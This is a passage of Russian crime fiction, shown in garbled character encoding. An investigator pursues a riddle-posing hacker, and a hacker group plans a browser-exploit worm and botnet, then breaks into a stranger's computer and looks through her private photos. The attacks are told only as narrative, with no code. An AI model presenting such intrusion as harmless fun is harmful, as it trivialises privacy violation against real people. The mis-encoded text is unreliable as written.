ëàñü íà àäìèíà ïðåïîäøà, íî òîò ëèøü ðàñòåðÿííî
ãëàçåë íà íåå, âûðàæàÿ ïîëíîå íåïîíèìàíèå.
Ïî åãî âèäó Ìàðòà Ñåðãååâíà ñîîáðàçèëà, â ÷åì äåëî,
ñî çëîñòüþ îãëÿäåëà àóäèòîðèþ è óäàëèëàñü çà äâåðü.
�×òî-òî áóäåò�, � óñëûøàë Ðîìà ãîëîñ îäíîãðóïïíèêà.
Ê òîìó âðåìåíè, êàê àäìèí ïðèíÿëñÿ øòóäèðîâàòü ëîãè
âûèñêèâàÿ àíîìàëèè, Dark Stranger óæå âûøåë èç ñèñòåìû
è, çàïóñòèâ Turbo Pascal, íàáèðàë çàäàííóþ ïðîãðàììó.

Êèðÿêèí ïîçäîðîâàëñÿ ñ ñîòðóäíèêàìè è ïðîøåë ê ñå-
áå â êàáèíåò, îòäàâ ïî ïóòè ïàðó óêàçàíèé. Ñâîé ðàáî-
÷èé ïîíåäåëüíèê ñëåäîâàòåëü ðåøèë íà÷àòü ñ ãîðÿ÷å-
ãî êîôå. Äîñòàâ èç ñòîëà ÷àøêó ñ ïðè÷óäëèâûìè óçî-
ðàìè, êîòîðóþ æåíà ïîäàðèëà íà 23 ôåâðàëÿ, îí ñïî-
ëîñíóë åå â ðàêîâèíå, âûñûïàë â íåå ïàêåòèê Nescafe
è, íàëèâ âîäû â ìèíèàòþðíûé ýëåêòðî÷àéíèê, âêëþ-
÷èë åãî â ðàçåòêó. Ïîêà çàêèïàëà âîäà, Êèðÿêèí çàãðó-
çèë êîìïüþòåð è ïðîâåðèë ïî÷òó. Ñðåäè ñêó÷íûõ îò÷åòîâ áûëî
òî, ÷òî îí íàäåÿëñÿ óâèäåòü � ïîäáîðêà èíôîðìàöèè ïî õàêåðàì,
êîòîðûå ìîãëè áûòü çàìåøàíû â èíöèäåíòå ñ Îâ÷èííèêîâûì è
Ïîòàïîâûì. Çàâåðáîâàííûå õàêåðû ÷åñòíî îòðàáàòûâàþò ñâîþ
àìíèñòèþ. Ðàñïàêîâàâ àðõèâ â ðàáî÷óþ ïàïêó, ñëåäîâàòåëü ïðè-
íÿëñÿ èçó÷àòü èíôó. Â ýòîò ìîìåíò â äâåðü ïîñòó÷àëè.
�Äà?
Â äâåðü çàøåë ñîòðóäíèê îòäåëà Ìèøêà.
�Øåô, ó íàñ ïîñåòèòåëüíèöà. Ïîõîæå, íîâàÿ æåðòâà Íîñòðàäàìóñà.
Òàê ìåæäó ñîáîé â îòäåëå íàçûâàëè õàêåðà, êîòîðûé çàãàäûâàë çà-
ãàäêè. Ïî÷åìó èìåííî Íîñòðàäàìóñ Êèðÿêèí íå çíàë, íàâåðíîå ïî-
òîìó, ÷òî îí áûë òàêèì æå çàãàäî÷íûì, êàê äðåâíèé ïðåäñêàçàòåëü.
�Ïðèãëàñè åå êî ìíå.
Îí îêàçàëñÿ ïðàâ. Õàêåð ðåøèë íå îãðàíè÷èâàòüñÿ äâóìÿ æåðòâà-
ìè. Ïðÿìî ñåðèéíûé íàñèëüíèê. Òîëüêî íå ìàëåíüêèõ äåâî÷åê, à
êîìïüþòåðîâ áåäíûõ þçåðîâ.
Íîâîé æåðòâîé îêàçàëàñü ìèëîâèäíàÿ áðþíåòêà ëåò 25-òè â êîñòþ-
ìå, âûðàçèòåëüíî îáëåãàþùåì ñòðîéíóþ ôèãóðó.
�Çäðàâñòâóéòå, ìåíÿ çîâóò Åëåíà Àíäðååâíà � ïðåäñòàâèëàñü îíà.
�Âàäèì Ñåðãååâè÷ � ïðèâñòàâ ñ êðåñëà, îòâåòèë Êèðÿêèí. �Ïðè-
ñàæèâàéòåñü, Åëåíà. È ðàññêàæèòå, ÷òî âàñ ê íàì ïðèâåëî?
Áðþíåòêà ïðèñåëà íà ñòóë è íåðåøèòåëüíî îãëÿäåëàñü, î÷åâèäíî,
äóìàÿ, ñ ÷åãî åé íà÷àòü.
�Ìíå ñêàçàëè, ÷òî âàø êîìïüþòåð àòàêîâàë õàêåð? � ïîäñ-
êàçàë Êèðÿêèí.
�ß äàæå íå çíàþ. ß íèêîãäà ðàíüøå íå èìåëà äåëà ñ õàêåðàìè.
Ïðîñòî ýòà çàäà÷à� ÿ íå çíàþ, îòêóäà îíà ïîÿâèëàñü íà ýêðàíå è
÷òî ýòî çíà÷èò.
�Ðàññêàæèòå îáî âñåì ïî ïîðÿäêó.
�ß ðàáîòàþ â òóðàãåíòñòâå «Êîëóìá». Ìû ñïåöèàëèçèðóåìñÿ íà
ïóòåøåñòâèÿõ â ýêçîòè÷åñêèå ñòðàíû. Íó, çíàåòå, Íåïàë, Íîâàÿ
Çåëàíäèÿ. Ìîÿ çàäà÷à � îáðàáîòêà çàêàçîâ íà êîìïüþòåðå. Äî-
ïóñòèì, êëèåíòó õî÷åòñÿ îòïðàâèòüñÿ â Èíäèþ. Îí íàçûâàåò âðå-
ìÿ, êîãäà åìó óäîáíî, è ÿ ïî áàçå äàííûõ ñâåðÿþ, ÷òî ìû ìîæåì
åìó ïðåäëîæèòü, âî ñêîëüêî ýòî îáîéäåòñÿ, êàêèì áóäåò ìàðøðóò
è òàê äàëåå. ß òîãäà ðàáîòàëà êàê îáû÷íî, è âäðóã ïîÿâèëîñü ýòî
îêíî. ß ñíà÷àëà ïîäóìàëà, ÷òî ýòî êòî-òî èç êîíòîðû øóòèò. Ðàç-
âå ÿ ìîãëà çíàòü, ÷òî âñå òàê îáåðíåòñÿ?
�Ïîïîäðîáíåå, ïîæàëóéñòà.
�Â îêíå ìíå ïðåäëàãàëîñü çà îïðåäåëåííîå âðåìÿ îòâåòèòü íà âîï-
ðîñ, êàñàþùèéñÿ òðàäèöèé æèòåëåé ñòðàíû, êîòîðóþ ìû ïðåäñòàâëÿ-
ëè. Äîñëîâíî ÿ óæå íå ïîìíþ. Íóæíî áûëî ñêàçàòü, äëÿ ïîäíÿòèÿ â
ñåáå ÷åãî òóçåìöû èñïîëíÿþò ýòîò òàíåö� ðèêè-íóêè èëè ðèêè-íàêè.

ß êîíå÷íî íå îòâåòèëà. ß æå íå Äðóçäü êàêîé-íèáóäü, ÷òîá òàêîå
çíàòü. Êîãäà èñòåê òàéìåð, îêíî ñîîáùèëî, ÷òî ìåíÿ æäåò íàêàçàíèå.
�Òàì áûëî ñêàçàíî, êàêîå èìåííî íàêàçàíèå?
�Íåò. Îêíî ïðîñòî ïðîïàëî. ß ïåðâûì äåëîì, êîíå÷íî, ïîäóìàëà
íà íàøåãî êîìïüþòåðùèêà Þðó. Íî îí îòíåêèâàëñÿ. À ïîòîì�
Æåíùèíà îáðå÷åííî ïîñìîòðåëà íà Êèðÿêèíà.
�Ïðîäîëæàéòå � ïîòðåáîâàë ñëåäîâàòåëü.
��ïîòîì ïîñûïàëèñü æàëîáû. Îäíîìó êëèåíòó âìåñòî íîìåðà ëþêñ
íà Áåðìóäàõ çàáðîíèðîâàëè çàõóäàëûé íîìåð â òðåõçâåçäî÷íîì îòå-
ëå. Ïóòåâêà äðóãîãî îêàçàëàñü íà 5 äíåé êîðî÷å, ÷åì áûëî çàêàçàíî.

À îäèí âìåñòî îñòðîâà Òàñìàíèÿ ïîïàë íà Íîâóþ Êàëåäîíèþ!!
�Ïîçâîëüòå, à êàêèì îáðàçîì îí óìóäðèëñÿ ïîïàñòü âìåñòî Òàñ-
ìàíèè â Êàëåäîíèþ?
�Âñå äåëî â áàçå äàííûõ. Èìåííî â íåå çàíîñÿòñÿ âñå óñëîâèÿ ïîåçä-
êè, è äàííûå ïîòîì îòñûëàþòñÿ ïðåäñòàâèòåëÿì íà ìåñòå êóðîðòà.
�Òî åñòü êòî-òî èçìåíèë áàçó äàííûõ?
�Äà! Íî ìíå íèêòî íå âåðèò � íà÷àëüíèê ñ÷èòàåò, ÷òî ýòî ÿ âî âñåì
âèíîâàòà. Òåïåðü ÿ îñòàëàñü áåç ðàáîòû.
�Êîãäà âñå ýòî ïðîèçîøëî?
�×óòü áîëüøå ìåñÿöà íàçàä.
�Ìåñÿö íàçàä?? Ïî÷åìó âû ñðàçó íå îáðàòèëèñü ê íàì?
�Äà ÿ íå çíàëà ê êîìó îáðàòèòüñÿ. À â ñóááîòó ïîñìîòðåëà ïåðåäà-
÷ó ñ âàøèì ó÷àñòèåì. Ñíà÷àëà ÿ íå äóìàëà, ÷òî ýòî ìîæåò áûòü õà-
êåð, à òåïåðü ÿ óâåðåíà â ýòîì!
�Åëåíà Àíäðååâíà, âàì íóæíî áóäåò îïèñàòü âñå, ÷òî âû ìíå ðàñ-
ñêàçàëè, íà áóìàãå. Ñî âñåìè ïîäðîáíîñòÿìè.

Êèðÿêèí âûøåë íà êðûëüöî çäàíèÿ îòäåëà «Ê». Çäåñü óæå êó-
ðèëè åãî ðåáÿòà.
�Íó ÷òî, øåô, åñòü èäåè íàñ÷åò Íîñòðàäàìóñà? � ñïðîñèë Ìèøêà.
�Ýòî ÿ ó òåáÿ äîëæåí ñïðîñèòü. Ïî ïîâîäó èäåé.
�×åãî-òî ñ èäåÿìè ãëóõî.
Êèðÿêèí äîñòàë ñèãàðåòó è ïðèêóðèë ó îäíîãî èç ïàðíåé.
�Çíàåòå, î ÷åì ÿ äóìàþ? Îâ÷èííèêîâ è Ïîòàïîâ � äîñòàòî÷íî ïóá-
ëè÷íûå ëþäè. Õàêåð âïîëíå ìîã óâèäåòü èõ ïî òåëåêó èëè ïðî÷èòàòü
î íèõ â ãàçåòå. Íî ýòà òóðàãåíòêà... îòêóäà îí óçíàë ïðî íåå?
�À ñ ÷åãî òû âçÿë, ÷òî ìåæäó íèìè åñòü ñâÿçü? Îí ìîã ïðîñòî âûé-
òè íà íåå, ïðîñêàíèðîâàâ ñëó÷àéíûé äèàïàçîí IP.
�Ñäàåòñÿ ìíå, ñâîèõ êëèåíòîâ îí ïîäáèðàë íå ñëó÷àéíî.
�Ïðåäïîëîæåíèå?
�Ñêîðåå ÷óéêà.
Ñëåäîâàòåëü çàòÿíóëñÿ è çàäóì÷èâî ïîñìîòðåë íà íåáî.

Âîçâðàòèâøèñü â ñâîé êàáèíåò, Êèðÿêèí ïðîäîëæèë èçó÷åíèå ïðèñ-
ëàííîé èíôû ïî õàêåðàì. Íåñìîòðÿ íà òî, ÷òî âçëîìû ìîã ñîâåð-
øèòü ëþáîé èç ñïèñêà, ðåàëüíûõ çàöåïîê íå áûëî. Äà è èíôà áûëà
íå ñîâñåì òàêîé, êàêàÿ åãî èíòåðåñîâàëà. Çàâåðáîâàííûé õàêåð
ðàçëîæèë ïî ïîëî÷êàì, ãäå â èíåòå îáèòàþò åãî ïðèÿòåëè, íàñêîëü-
êî ñèëåí óðîâåíü èõ çíàíèé, êàêóþ ðåïóòàöèþ èìåþò â õàêåðñêîé
ñðåäå è ïðî÷åå. Ñëåäîâàòåëü áû ñ áîëüøèì èíòåðåñîì ïî÷èòàë,
÷åì îíè çàíèìàëèñü ïîñëåäíåå âðåìÿ.
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Ìîíèòîð ïî÷òîâûõ ñîîáùåíèé ïèñêíóë, îáúÿâëÿÿ, ÷òî â ðàáî÷èé
ÿùèê ïðèøëî íîâîå ïèñüìî. Êèðÿêèí îòêðûë åãî è óâèäåë ñèëèêî-
íîãðóäóþ ãîëóþ äåâèöó, êðóïíûì øðèôòîì çàçûâàþùóþ: «Ñäåëàþ
âñå, ÷òî ïîæåëàåøü. Ñòóäåíòàì ñêèäêè. Çâîíè: ÕÕ-ÕÕÕ-ÕÕÕ». Ñëå-
äîâàòåëü âûäåëèë ìåññàãó è íàæàëà «Delete». Ñïàìåðû ñîâñåì îõ-
ðåíåëè, äàæå äî åãî ðàáî÷åãî ÿùèêà äîáðàëèñü. Ïîðà èõ áðàòü çà
ÿéöà. Êîíå÷íî, âñåõ íå êàñòðèðóåøü, íî â îáðàçîâàòåëüíûõ öåëÿõ
îñòàëüíûõ, ïàðî÷êó ìîæíî.
Êèðÿêèí âñïîìíèë, êàê âïåðâûå ïðèøåë â îòäåë. Îí äàâíî õîòåë
ðàáîòàòü ñ êîìïüþòåðíûìè ïðåñòóïëåíèÿìè � îò ìàíüÿêîâ, íà-
ñèëüíèêîâ è ïðî÷åé ìðàçè, êîòîðóþ åìó äîâîäèëîñü âñòðå÷àòü â
óãîëîâíîì, òîøíèëî è îí ïîíèìàë, ÷òî ýòî íå åãî. Â òî æå âðåìÿ
ðàññëåäîâàíèå êîìïüþòåðíûõ äåë òðåáîâàëî íå òîëüêî ñîîáðàçè-
òåëüíîñòè, íî è êîìïåòåíòíîñòè â òåõíèêå. Ïðîéäÿ êóðñ ïîäãîòîâêè,
Êèðÿêèí ïîïðîñèëñÿ â îòäåë «Ê», òîãäà åùå íîñèâøèé äðóãóþ áóê-
âó. Äíåì äåëàë íåïûëüíóþ áóìàæíóþ ðàáîòó ïîä ðóêîâîäñòâîì
ñâîåãî íà÷àëüíèêà Äìèòðèÿ ×åï÷óãîâà, à ïî âå÷åðàì èçó÷àë âíóò-
ðåííåå óñòðîéñòâî êîìïüþòåðîâ è ñåòåé. Ñëåäîâàòåëþ, êîòîðûì
ñîáèðàëñÿ ñòàòü Êèðÿêèí, ýòî çíàòü íå îáÿçàòåëüíî, íî îí íå õîòåë
áûòü ïðîôàíîì â ñâîåé îáëàñòè, è õîòü è ñ òðóäîì, ñî ñêðèïîì, ïî-
òèõîíüêó îñâàèâàë «êèòàéñêóþ ãðàìîòó». Ïîòîì ×åï÷óãîâ îñòàâèë
îòäåë, è Êèðÿêèí ñòàë ëó÷øèì êàíäèäàòîì íà äîëæíîñòü ñëåäîâà-
òåëÿ. Îí ïîìíèë ñâîå ïåðâîå ðàñêðûòîå çäåñü êðóïíîå äåëî, êàê
áóäòî ýòî ïðîèçîøëî â÷åðà. Õàêåð ñ íèêîì Hellriser âçëîìàë êîìïü-
þòåðíóþ ñåòü êîììåð÷åñêîé êîìïàíèè è, ñâÿçàâøèñü ñ ðóêîâîäèòå-
ëåì, ïîòðåáîâàë 25 òûñÿ÷ áàêñîâ, èíà÷å îáåùàë ðàçðóøèòü âñþ
ñåòü, íàíåñÿ åé ìàêñèìóì âðåäà. Äèðåêòîð îáðàòèëñÿ â îòäåë «Ê»
è òàê ïîëó÷èëîñü, ÷òî ýòî äåëî ñòàëî ïåðâûì ïîñëå çàíÿòèÿ Êèðÿ-
êèíûì ìåñòà ñëåäîâàòåëÿ. Âû÷èñëèòü õàêåðà ÷åðåç êîìïüþòåð íå
ïðåäñòàâëÿëîñü âîçìîæíûì � ñ øåôîì ôèðìû îí ñâÿçûâàëñÿ ïî
ìûëó ÷åðåç ëåâûé ÿùèê, à ïåðåâîä äåíåã óêàçàë îñóùåñòâèòü íà
ýëåêòðîííûé ñ÷åò â Ìàëàéçèè, îòñëåäèòü êîòîðûé áûëî íåâîçìîæ-
íî. Êèðÿêèí ðåøèë çàìàíèòü õàêåðà â ëîâóøêó, ñêàçàâ øåôó ôèð-
ìû, ÷òîáû òîò ñîãëàñèëñÿ ïåðåâåñòè äåíüãè, íî íà ñ÷åò â äðóãîì
áàíêå. Â îäíîì èç òåõ, ñ êîòîðûìè ÿêîáû ðàáîòàëà êîìïàíèÿ. Æàä-
íîñòü ïåðåñèëèëà â õàêåðå îñòîðîæíîñòü, è îí ñîãëàñèëñÿ.
Hellriser�à âçÿëè ïðÿìî íà ìåñòå, êîãäà îí ïûòàëñÿ îáíàëè÷èòü ÷àñòü
ñóììû. Ñ òåõ ïîð â àðõèâå ðàñêðûòûõ Êèðÿêèíûì äåë áûëè äåñÿò-
êè êîìïüþòåðíûõ ïðåñòóïëåíèé. Íà÷èíàÿ áàíàëüíûì âîðîâñòâîì
äèàëàïà íåèìóùèìè ñòóäåíòàìè, çàêàí÷èâàÿ èíöèäåíòîì âçëîìà
âíóòðåííåé êîìïüþòåðíîé ñåòè ÌÂÄ. Äåëî Íîñòðàäàìóñà áûëî ñà-
ìûì èíòåðåñíûì çà ïîñëåäíåå âðåìÿ.
Îò âîñïîìèíàíèé Êèðÿêèíà îòîðâàë òåëåôîííûé çâîíîê.
�Âàäèì Êèðÿêèí. Ñëóøàþ.
�Åùå ðàç çäðàâñòâóéòå. Ýòî Åëåíà. ß ê âàì ïðèõîäèëà ñåãîäíÿ óò-
ðîì. � ïîñëûøàëñÿ â òðóáêå çíàêîìûé æåíñêèé ãîëîñ.
�Äàäà, êîíå÷íî Åëåíà, ÿ âàñ ïîìíþ.

�ß òóò ïîäóìàëà� â îáùåì, ÿ çàáûëà âàì ñêàçàòü, ÷òî íåçà-
äîëãî äî òîãî, êàê õàêåð íàïàë íà áàçó äàííûõ, ó íàñ áûë òåëå-
âèçèîííûé ýôèð, ãäå ÿ ðåêëàìèðîâàëà óñëóãè íàøåé ôèðìû. Ó
ìåíÿ ñîâñåì âûëåòåëî èç ãîëîâû, íî ñåé÷àñ ÿ ïîäóìàëà, ìîæåò
áûòü ýòî êàê-òî ñâÿçàíî.
�Òåëåâèçèîííûé ýôèð? Ïî êàêîìó êàíàëó?
�R-TV. Êàíàë íîâûé è åùå íå íàáðàë äîñòàòî÷íî ïîïóëÿðíîñòè,
ïîýòîìó òàì ïîêà íåäîðîãàÿ ðåêëàìà, è ìû ýòèì âîñïîëüçîâàëèñü.
Êèðÿêèíó íå íóæíî áûëî îáúÿñíÿòü, ÷òî òàêîå R-TV. Ñþæåò, ãäå îí
ðàññêàçûâàë î ñâîåé ðàáîòå, êðóòèëñÿ èìåííî ïî ýòîìó òåëåêàíàëó.
�Íå ïîìíèòå, êîãäà èìåííî êðóòèëè âàøó ðåêëàìó?
�×óòü áîëåå ìåñÿöà íàçàäà� åñëè ÿ íå îøèáàþñü, 13 àïðåëÿ.
�Ñïàñèáî Åëåíà. Âîçìîæíî, ýòî ïîìîæåò.
�ß î÷åíü íàäåþñü. Âñåãî äîáðîãî.
Êèðÿêèí ïîëîæèë òðóáêó. Ñ òåì æå óñïåõîì îíà ìîãëà ïîçâîíèòü è
ñîîáùèòü, ÷òî ïåðåøëà â òîò äåíü óëèöó íà êðàñíûé ñâåò, ïîñëå ÷å-
ãî ïîñëåäîâàë âçëîì.
Ñëåäîâàòåëü ïåðåâåë âçãëÿä íà ìîíèòîð è çàìåð. Outlook Express ñ
îòêðûòûì â íåì ïèñüìîì çàãîðàæèâàëî áîëüøîå îêíî, âíóòðè êîòî-
ðîãî íàõîäèëñÿ òåêñò:
«Çäðàâñòâóéòå, ãîñïîäèí Êèðÿêèí.
Âû âåñüìà îïûòíûé ñëåäîâàòåëü è ðàñêðûëè íåìàëî êîìïüþòåðíûõ
äåë, ïîýòîìó ÿ äóìàþ, âàì íå ñîñòàâèò òðóäà ðàñêðûòü åùå îäíî.
Îáû÷íî ÿ äàþ ëþäÿì ìèíóòó, ÷òîáû ðàçãàäàòü çàãàäêó. Ó âàñ åñòü 24
÷àñà. Ìîé âîïðîñ âû íå ðàç çàäàâàëè ñåáå ñàìè. Êòî ÿ? Íàéäèòå íà
íåãî îòâåò çà óêàçàííîå âðåìÿ, èëè âàñ æäåò íàêàçàíèå»
×óòü íèæå òàéìåð îòñ÷èòûâàë âðåìÿ.

�Íó ÷òî òàì? � íåòåðïåëèâî ñïðîñèë ñëåäîâàòåëü.
�×èñòî, øåô. Îêíî áûëî çàïóùåíî ñêðèïòîì â ðååñòðå, êàê òàì
ýòîò ñêðèïò ïîÿâèëñÿ íåèçâåñòíî. Êðîìå íåãî íåò íèêàêèõ ñëåäîâ
òðîÿíîâ, æó÷êîâ è âîîáùå ñëåäîâ ïîñòîðîííåãî âìåøàòåëüñòâà, �
îòîðâàëñÿ îò âíóòðåííîñòåé êîìïüþòåðà Êèðÿêèíà òåõýêñïåðò Ñàíÿ
Ãðèøêî.
�Òî åñòü òû õî÷åøü ñêàçàòü, ÷òî ïî íàøèì êîìïüþòåðàì ìîæåò
áðîäèòü ëþáîé øêîëüíèê?
�Ëþáîé � íåò. Åñëè ó «øêîëüíèêà» äâîè÷íûå êîäû â ãîëîâå, îí â
ëþáóþ ñåòü íàéäåò ëàçåéêó.
�Ëàäíî, ñâîáîäåí.
Êèðÿêèí ÷óâñòâîâàë ñåáÿ äóðàêîì. Îí ðàññëåäîâàë ïðåñòóïëåíèÿ,
â êîòîðûõ êîìïüþòåðû æåðòâ âçëàìûâàëè, èñïîëüçîâàëè äëÿ
âçëîìà äðóãèõ êîìïüþòåðîâ, âîðîâàëè ñ íèõ èëè âîâñå óäàëÿëè
èíôó. Îí âñåãäà ïðîâîäèë ëåêöèþ íà òåìó: «Íóæíî çàáîòèòüñÿ î
áåçîïàñíîñòè ñâîåãî êîìïüþòåðà». È â èòîãå ñàì îêàçàëñÿ â ïîëî-
æåíèè æåðòâû. Õóæå òîãî, ó íåãî ïî ïðåæíåìó íå áûëî íè îäíîé
çàöåïêè, è îí íå ïðåäñòàâëÿë, ãäå èñêàòü ýòîãî õàêåðà. Êàê è íå



ïðåäñòàâëÿë, êàêîå íàêàçàíèå óãîòîâèë åìó Íîñòðàäàìóñ.
Ê îáåäó î âçëîìå êîìïüþòåðà Êèðÿêèíà çíàë âåñü îòäåë. Ñëåäîâà-
òåëü áûë âåñü íà íåðâàõ è òðåáîâàë îò ñîòðóäíèêîâ ðåçóëüòàòîâ.
Íàïðÿæåííàÿ îáñòàíîâêà ïðîäëèëàñü äî êîíöà ðàáî÷åãî äíÿ.

Î áàðå «Áåëûé àèñò» çíàëè íåìíîãèå. Îí íàõîäèëñÿ â ïîäâàëü-
÷èêå îäíîãî èç äîìîâ, ïðè÷åì ñî ñòîðîíû âíóòðåííåãî äâîðèêà, à
íå îæèâëåííîé óëèöû. Ñðåäè ïîñòîÿííûõ ïîñåòèòåëåé áàð ñëà-
âèëñÿ âêóñíûì ïèâîì è óþòíîé îáñòàíîâêîé, ðàñïîëàãàþùåé ê
îáùåíèþ. Õàêåðû èç Slow ÷àñòî çäåñü áûâàëè � ñåé÷àñ îíè ñè-
äåëè çà äàëüíèì ñòîëèêîì è èçó÷àëè ìåíþ. Ó Groov�à áûëà åùå
îäíà ïðè÷èíà ïðèõîäèòü ñþäà � 16-ëåòíÿÿ îôèöèàíòêà Àíå÷êà, ê
êîòîðîé îí ïèòàë ñâåòëûå ÷óâñòâà. Îíà áûëà âñåãäà ïðèâåòëèâà
è óëûá÷èâà, íåðåäêî êîêåòíè÷àëà ñ ìóæ÷èíàìè. «Íåìíîãî ïîä-
ðàñòåò, ÿ íà íåé æåíþñü», � ãîâîðèë Àíäðþõà, íî äåëàòü ïåðâûé
øàã ê áîëåå áëèçêîìó çíàêîìñòâó íå ñïåøèë. Âåðíåå, íå çíàë,
êàê åãî ëó÷øå ñäåëàòü. Ïðèÿòåëè ÷àñòåíüêî ïîäøó÷èâàëè íàä
íèì, íàçûâàÿ «Ðîìåî», íà ÷òî Àíäðþõà âå÷íî îáèæàëñÿ. Íà ñòî-
ëå, íàêîíåö, ïîÿâèëèñü ïèâî è çàêóñêè.
�Áûëè ñåãîäíÿ íà áàíòðàêå? � ñïðîñèë Dark Stranger.
�Åùå íå ñìîòðåë, âå÷åðîì ãëÿíó.

�ß òîæå.
Bantrack áûë ñâîåîáðàçíûì àíàëîãîì èçâåñòíîé security-ëåíòû
bugtraq, ñ òîé ðàçíèöåé, ÷òî åå ÷èòàòåëÿìè è ñîñòàâèòåëÿìè áûëè â
îñíîâíîì, òàê íàçûâàåìûå, áëýê õýòû. Êîìïüþòåðíûå âçëîìùèêè,
âèðóñìåéêåðû è IT àôåðèñòû âñåõ ìàñòåé. Ýòà ðàññûëêà ÿâëÿëàñü
çàêðûòîé äëÿ ïîñòîðîííèõ, ïîäêëþ÷èòüñÿ ê íåé ìîæíî áûëî òîëüêî
ïîñëå ðåêîìåíäàöèè äðóãèõ ìåìáåðîâ.
�Phoenixx íàøåë íîâóþ äûðêó â îñëå è óæå îïóáëèêîâàë ýêñïëîéò.
�×òî çà äûðêà?
�Ìàéêðîñîôò êàê âñåãäà îáëàæàëèñü, íà ýòîò ðàç ñ çàãðóçî÷íûì
óðëîì. Â ïîñëåäíèõ âåðñèÿõ ýêñïëîðåðà ìîæíî óäàëåííî ïðîïèñàòü
ëþáîé óðë â ñòðîêå õîóìïàãè. È êîãäà þçâåðü çàïóñòèò ñâîåãî îñ-
ëèêà, îí ïîïàäàåò â ãîñòè ê íàì.
�Õàëÿâà äëÿ ñïàìåðîâ.
�Íå òîëüêî äëÿ ñïàìåðîâ. Ìîæíî íàïèñàòü ÷åðâÿ÷êà, êîòîðûé àâòî-
ìàòè÷åñêè áóäåò íàõîäèòü óÿçâèìûå ïðîãè è ïðîïèñûâàòü â íèõ ïðÿ-
ìóþ ññûëêó íà òðîÿí. ×òîá îí ñðàçó çàãðóæàëñÿ â ïàìÿòü. Íó, à êëè-
åíòîì ïîòîì ìîíèòîðèòü âñå ýòè êîìïû è þçàòü èõ äëÿ ñâîèõ öåëåé.
�Äóìàþ, çàâòðà-ïîñëåçàâòðà óæå ïðèêðîþò. ß ñëûøàë, íà áàíòðà-
êå êðóòÿòñÿ àäìèíû ñ ìàçäàÿ.
�Ê òîìó âðåìåíè, êàê ïðèêðîþò, òðîÿí óæå áóäåò íà òûñÿ÷àõ êîì-
ïîâ. Â îáùåì, ïðåäëàãàþ ñåãîäíÿ çàíÿòüñÿ, è íî÷üþ çàïóñòèòü ÷åð-
âÿ÷êà. Åñëè ìû äîáàâèì íîâûé óðîæàé ê òåì íîäàì, ÷òî ó íàñ óæå
åñòü, ýòî áóäåò îêîëî ìèëëèîíà êîìïîâ. Ñ òàêîé îðàâîé ìîæíî ëþ-
áîé ñàéò çàâàëèòü çà ïàðó ñåêóíä. Õîòü google, õîòü cnn.com.
�Ó ìåíÿ íîóò ñ ñîáîé. Ìîæåì ïîòåñòèòü ñåé÷àñ � ïðåäëîæèë Major.
�Äîñòàâàé.

Ñàíÿ äîñòàë ñâîé Asus S300N, áûñòðî íàøåë õîòñïîò ïîäêëþ÷åíèÿ
ê Ñåòè, îáîøåë ñèñòåìó àóòåíòèôèêàöèè è çàøåë íà ñàéò áàíòðàêà.
Èñõîäíèê ýêñïëîéòà áûë íà ÿçûêå C è ñîäåðæàë íåáîëüøèå èçìå-
íåíèÿ â êîäå, ÷òîáû åñëè îí ñëó÷àéíî ïîïàäåò â ðóêè ëàìåðà, òîò íå
ñìîã åãî îòêîìïèëèðîâàòü. Ñàíÿ áûñòðî ïðîñìîòðåë êîä, íàøåë
ìåñòî, êîòîðîå íóæíî áûëî ïîäïðàâèòü, è ñòðàâèë åãî êîìïèëÿòîðó.
�Íà êîì áóäåì òåñòèðîâàòü? � ïîèíòåðåñîâàëñÿ îí ó ïðèÿòåëåé.
�Äàâàé êàêóþ-íèáóäü òåòêó ñ äàìî÷êè.
Äàìî÷êà.ðó áûë èçëþáëåííûì ðàññàäíèêîì æåðòâ äëÿ ãðóïïû Slow.
Òàì ìîæíî áûëî íàéòè íå òîëüêî êó÷ó «ëåììèíãîâ», êàê íàçûâàëè ìà-
ëîãðàìîòíûõ êîìïüþòåðùèêîâ õàêåðû, íî è âñþ íóæíóþ èíôó î íèõ.
Íà ïåðâîé æå, èíäåêñíîé, ñòðàíèöå íàõîäèëàñü ôîòêà êðàñîòêè ñ
íèêîì Stella â îðàíæåâîì òîïèêå è ÿðêî êðàñíûõ êîæàíûõ øòàíèø-
êàõ, âûãíóâøàÿñÿ äëÿ ïóùåãî ðàêóðñà.
�Ñîéäåò? � ñïðîñèë Major. Íî âîïðîñ áûë ñêîðåå ðèòîðè÷åñêèì.
Ñàíÿ îòêðûë åå ïðîôàéë, íàøåë íîìåð àñüêè è ïðîâåðèë åãî íà
white pages. Äåâî÷êà ñèäåëà â îíëàéíå.  Äëÿ òîãî, ÷òîáû óçíàòü åå
IP, ïîòðåáîâàëàñü ïàðà ñåêóíä.
�À åñëè ó íåå Opera? � âûñêàçàë ïðåäïîëîæåíèå CodeMaster.
�Ýòî ìû ñåé÷àñ óçíàåì.
Ïîøàìàíèâ íåìíîãî â êîíñîëè, Ñàíÿ çàïóñòèë ýêñïëîèò� âñå ñðà-
áîòàëî, êàê ÷àñû. Îñòàâàëîñü òîëüêî âïèñàòü ëèíê íà òðîÿí, êîòî-

ðûé íàõîäèëñÿ íà èõ ñàéòå. È ñ ïîìîùüþ äðóãîãî ýêñïëîèòà, çàê-
ðûòü íà óäàëåííîì êîìïüþòåðå áðàóçåð. 
×åðåç íåñêîëüêî ñåêóíä õàêåðû óæå õîçÿéíè÷àëè íà êîìïüþòå-
ðå äåâóøêè.
�Õðåíà ñåáå ó íåå ãîâíà ðàçíîãî � âîñêëèêíóë Groove ãëÿäÿ íà
÷óòü ëè íå ñîòíþ ïàïîê â êîðíå.
�Îòêðîé MY_BOYFRIENDS.
Âíóòðè îêàçàëîñü åùå øòóê 50 äèðåêòîðèé, íîñèâøèõ ìóæñêèå èìåíà.
�Âî, çàõîäè â ROMA, � ïîñîâåòîâàë Ðîìà Dark Stranger.
�Íåå, ëó÷øå â Vetalik, � îòîçâàëñÿ Âèòàëèê CodeMaster.
�Ïàðíè, âû â ïðîëåòå. Òóò 6 ïàïîê ñ èìåíåì Andrej, � ïîáåäîíîñ-
íî ïîñìîòðåë íà äðóçåé Groove.
Major îòêðûë îäíîãî Àíäðåÿ. Âíóòðè áûëî íåñêîëüêî ôîòîê êàêîãî-
òî ãîëîãî 50-ëåòíåãî äåäóãàíà ñî âñåìè ïðè÷èíäàëàìè íàðóæó. Íà
ôîòîãðàôèÿõ îñòàëüíûõ ïàðíåé òîæå áûëè èñêëþ÷èòåëüíî îáíà-
æåííûå íàòóðû. Âèäíî, ó äàìî÷êè áûëî òàêîå ñâîåîáðàçíîå õîááè
